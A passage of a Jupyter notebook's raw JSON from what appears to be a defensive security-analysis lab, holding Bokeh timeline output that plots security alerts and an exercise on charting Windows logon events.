ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"Detected suspicious file download\",\"Detected suspicious file download\",\"Security incident detected\",\"Detected suspicious file download\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"Detected suspicious file download\"],\"TimeGenerated\":{\"__ndarray__\":\"AIAT+OaPdkIAgBxB5Y92QgCAE/jmj3ZCAIAJyuePdkIAgFv45I92QgAAU2bmj3ZCAIAdr+SPdkIAgNWu5o92QgCA1a7mj3ZCAIAT+OaPdkIAgNWu5o92QgCAG9Plj3ZCAIDXiuWPdkIAAJgc5o92QgCA3tnpj3ZCAIAQa4uPdkIAgMu0i492QgAAR5CMj3ZCAAA5aYWPdkIAADN2g492QgAAglFFj3ZCAIB8ePSOdkIAgKxpCo92QgCA+/4qj3ZCAICFQ4SPdkIAgDv8g492QgCAPx+Fj3ZCAIADsoOPdkIAgECNhI92QgCAbNmEj3ZCAABO/YuPdkIAgNIhi492QgCAykaMj3ZCAAAh6ReQdkIAAPyeE5B2Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[35]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23,25,26,27,28,29,30,31,32,33,34,39,40],\"y_index\":[2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2]},\"selected\":{\"id\":\"1885\"},\"selection_policy\":{\"id\":\"1884\"}},\"id\":\"1756\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"1755\"}},\"id\":\"1821\",\"type\":\"CDSView\"},{\"attributes\":{\"align\":\"right\",\"coordinates\":null,\"group\":null,\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":\"10px\"},\"id\":\"1807\",\"type\":\"Title\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#FDE724\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1831\",\"type\":\"Circle\"},{\"attributes\":{\"axis\":{\"id\":\"1770\"},\"coordinates\":null,\"group\":null,\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"1773\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"1880\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"end\":3.25,\"start\":-0.25},\"id\":\"1764\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"1798\",\"type\":\"LinearScale\"},{\"attributes\":{\"coordinates\":null,\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"group\":null,\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5,\"syncable\":false},\"id\":\"1835\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"1883\",\"type\":\"Selection\"},{\"attributes\":{\"data\":{\"AlertName\":[\"Possible suspicious scheduling tasks access\\ndetected\"],\"TimeGenerated\":{\"__ndarray__\":\"AABlLfWOdkI=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[1]},\"index\":[22],\"y_index\":[1]},\"selected\":{\"id\":\"1883\"},\"selection_policy\":{\"id\":\"1882\"}},\"id\":\"1755\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1889\"},{\"id\":\"1890\"},{\"id\":\"1891\"},{\"id\":\"1892\"},{\"id\":\"1893\"},{\"id\":\"1894\"},{\"id\":\"1895\"},{\"id\":\"1896\"},{\"id\":\"1897\"},{\"id\":\"1898\"},{\"id\":\"1899\"},{\"id\":\"1900\"}]},\"id\":\"1771\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1755\"},\"glyph\":{\"id\":\"1817\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1819\"},\"nonselection_glyph\":{\"id\":\"1818\"},\"view\":{\"id\":\"1821\"}},\"id\":\"1820\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1844\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1825\",\"type\":\"Circle\"},{\"attributes\":{\"fill_color\":{\"value\":\"#35B778\"},\"hatch_color\":{\"value\":\"#35B778\"},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1823\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1882\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"1780\",\"type\":\"ResetTool\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1891\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"axis\":{\"id\":\"1774\"},\"coordinates\":null,\"dimension\":1,\"grid_line_color\":null,\"group\":null,\"ticker\":null},\"id\":\"1777\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"1884\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1893\",\"type\":\"DaysTicker\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1778\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1892\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1897\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1782\",\"type\":\"PanTool\"},{\"attributes\":{\"overlay\":{\"id\":\"1783\"}},\"id\":\"1779\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1889\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"end\":1550566272950.0002,\"start\":1550063546049.9998},\"id\":\"1794\",\"type\":\"Range1d\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1890\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"1783\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"click_policy\":\"hide\",\"coordinates\":null,\"group\":null,\"items\":[{\"id\":\"1868\"},{\"id\":\"1861\"},{\"id\":\"1854\"},{\"id\":\"1847\"}],\"label_text_font_size\":\"8pt\",\"location\":\"center\"},\"id\":\"1869\",\"type\":\"Legend\"},{\"attributes\":{},\"id\":\"1781\",\"type\":\"SaveTool\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1874\"},\"group\":null,\"major_label_policy\":{\"id\":\"1875\"},\"ticker\":{\"id\":\"1775\"},\"visible\":false},\"id\":\"1774\",\"type\":\"LinearAxis\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1839\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1896\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1775\",\"type\":\"BasicTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1895\",\"type\":\"DaysTicker\"},{\"attributes\":{\"tools\":[{\"id\":\"1758\"},{\"id\":\"1778\"},{\"id\":\"1779\"},{\"id\":\"1780\"},{\"id\":\"1781\"},{\"id\":\"1782\"}]},\"id\":\"1784\",\"type\":\"Toolbar\"},{\"attributes\":{\"overlay\":{\"id\":\"1835\"},\"x_range\":{\"id\":\"1762\"},\"y_range\":null},\"id\":\"1834\",\"type\":\"RangeTool\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1899\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1898\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1757\"},\"glyph\":{\"id\":\"1829\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1831\"},\"nonselection_glyph\":{\"id\":\"1830\"},\"view\":{\"id\":\"1833\"}},\"id\":\"1832\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"1885\",\"type\":\"Selection\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1894\",\"type\":\"DaysTicker\"},{\"attributes\":{\"source\":{\"id\":\"1754\"}},\"id\":\"1846\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1900\",\"type\":\"YearsTicker\"},{\"attributes\":{},\"id\":\"1796\",\"type\":\"DataRange1d\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1808\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"data\":{\"AlertName\":[\"Security incident detected\",\"Potential attempt to bypass AppLocker detected\",\"Security incident with shared process detected\"],\"TimeGenerated\":{\"__ndarray__\":\"AICf1tKOdkIAAOeXvY52QgCAxhynjnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[3]},\"index\":[35,37,38],\"y_index\":[0,0,0]},\"selected\":{\"id\":\"1881\"},\"selection_policy\":{\"id\":\"1880\"}},\"id\":\"1754\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1754\"},\"glyph\":{\"id\":\"1842\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1844\"},\"nonselection_glyph\":{\"id\":\"1843\"},\"view\":{\"id\":\"1846\"}},\"id\":\"1845\",\"type\":\"GlyphRenderer\"}],\"root_ids\":[\"1870\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n  const render_items = [{\"docid\":\"a69784ae-ac09-407f-b4b5-f93177a430a1\",\"root_ids\":[\"1870\"],\"roots\":{\"1870\":\"3f131fff-5860-4540-ad77-54eba91a4881\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    let attempts = 0;\n    const timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "1870"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"display: table;\"><div style=\"display: table-row;\"><div style=\"display: table-cell;\"><b title=\"bokeh.models.layouts.Column\">Column</b>(</div><div style=\"display: table-cell;\">id&nbsp;=&nbsp;'1870', <span id=\"2130\" style=\"cursor: pointer;\">&hellip;)</span></div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">align&nbsp;=&nbsp;'start',</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_ratio&nbsp;=&nbsp;None,</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background&nbsp;=&nbsp;None,</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">children&nbsp;=&nbsp;[Figure(id='1759', ...), Figure(id='1791', ...)],</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">css_classes&nbsp;=&nbsp;[],</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">disabled&nbsp;=&nbsp;False,</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height&nbsp;=&nbsp;None,</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_event_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_property_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">margin&nbsp;=&nbsp;(0, 0, 0, 0),</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_height&nbsp;=&nbsp;None,</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_width&nbsp;=&nbsp;None,</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_height&nbsp;=&nbsp;None,</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_width&nbsp;=&nbsp;None,</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">name&nbsp;=&nbsp;None,</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">rows&nbsp;=&nbsp;'auto',</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">sizing_mode&nbsp;=&nbsp;None,</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">spacing&nbsp;=&nbsp;0,</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">subscribed_events&nbsp;=&nbsp;[],</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">syncable&nbsp;=&nbsp;True,</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">tags&nbsp;=&nbsp;[],</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">visible&nbsp;=&nbsp;True,</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width&nbsp;=&nbsp;None,</div></div><div class=\"2129\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width_policy&nbsp;=&nbsp;'auto')</div></div></div>\n",
       "<script>\n",
       "(function() {\n",
       "  let expanded = false;\n",
       "  const ellipsis = document.getElementById(\"2130\");\n",
       "  ellipsis.addEventListener(\"click\", function() {\n",
       "    const rows = document.getElementsByClassName(\"2129\");\n",
       "    for (let i = 0; i < rows.length; i++) {\n",
       "      const el = rows[i];\n",
       "      el.style.display = expanded ? \"none\" : \"table-row\";\n",
       "    }\n",
       "    ellipsis.innerHTML = expanded ? \"&hellip;)\" : \"&lsaquo;&lsaquo;&lsaquo;\";\n",
       "    expanded = !expanded;\n",
       "  });\n",
       "})();\n",
       "</script>\n"
      ],
      "text/plain": [
       "Column(id='1870', ...)"
      ]
     },
     "execution_count": 28,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "alert_df.mp_plot.timeline(source_columns=[\"AlertName\"], group_by=\"Severity\")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<div class=\"alert alert-block alert-success\">\n",
    "    <h3>Lab Exercise 5</h3>\n",
    "    In this lab you are going to plot your own timeline of events.<br>\n",
    "    The timeline show plot Windows Host Logon events (.WindowsSecurity.list_host_logons).<br>\n",
    "    You should group these by the logon type, and the hover over should show the user account logging in and what IP address they logged in from.\n",
    "    \n",
    "<details>\n",
    "    <summary>Hint:</summary>\n",
    "    <ul>\n",
    "        <li>Grouping is passed with the 'group_by` parameter.</li>\n",
    "        <li>Hover over values are set with the 'source_columns' parameter.</li>\n",
    "    </ul>\n",
    "</details>\n",
    "</div>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 29,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"2131\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  const force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  const JS_MIME_TYPE = 'application/javascript';\n  const HTML_MIME_TYPE = 'text/html';\n  const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  const CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    const script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    const cell = handle.cell;\n\n    const id = cell.output_area._bokeh_element_id;\n    const server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd_clean, {\n        iopub: {\n          output: function(msg) {\n            const id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd_destroy);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    const output_area = handle.output_area;\n    const output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n      return\n    }\n\n    const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      const bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      const script_attrs = bk_div.children[0].attributes;\n      for (let i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      const toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    const events = require('base/js/events');\n    const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  const NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    const el = document.getElementById(\"2131\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error(url) {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (let i = 0; i < css_urls.length; i++) {\n      const url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    for (let i = 0; i < js_urls.length; i++) {\n      const url = js_urls[i];\n      const element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.async = false;\n      element.src = url;\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n  const css_urls = [];\n  \n\n  const inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (let i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      const cell = $(document.getElementById(\"2131\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"d5c89b98-23ae-4f89-bdff-d2831f6db77b\" data-root-id=\"2276\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  const docs_json = {\"6ad13cd6-2c78-454f-b3b5-7451964ef627\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"2139\"},{\"id\":\"2171\"}]},\"id\":\"2276\",\"type\":\"Column\"},{\"attributes\":{\"label\":{\"value\":\"3\"},\"renderers\":[{\"id\":\"2251\"}]},\"id\":\"2253\",\"type\":\"LegendItem\"},{\"attributes\":{},\"id\":\"2294\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2299\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2300\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"2290\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"2295\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"2310\",\"type\":\"YearsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#208F8C\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"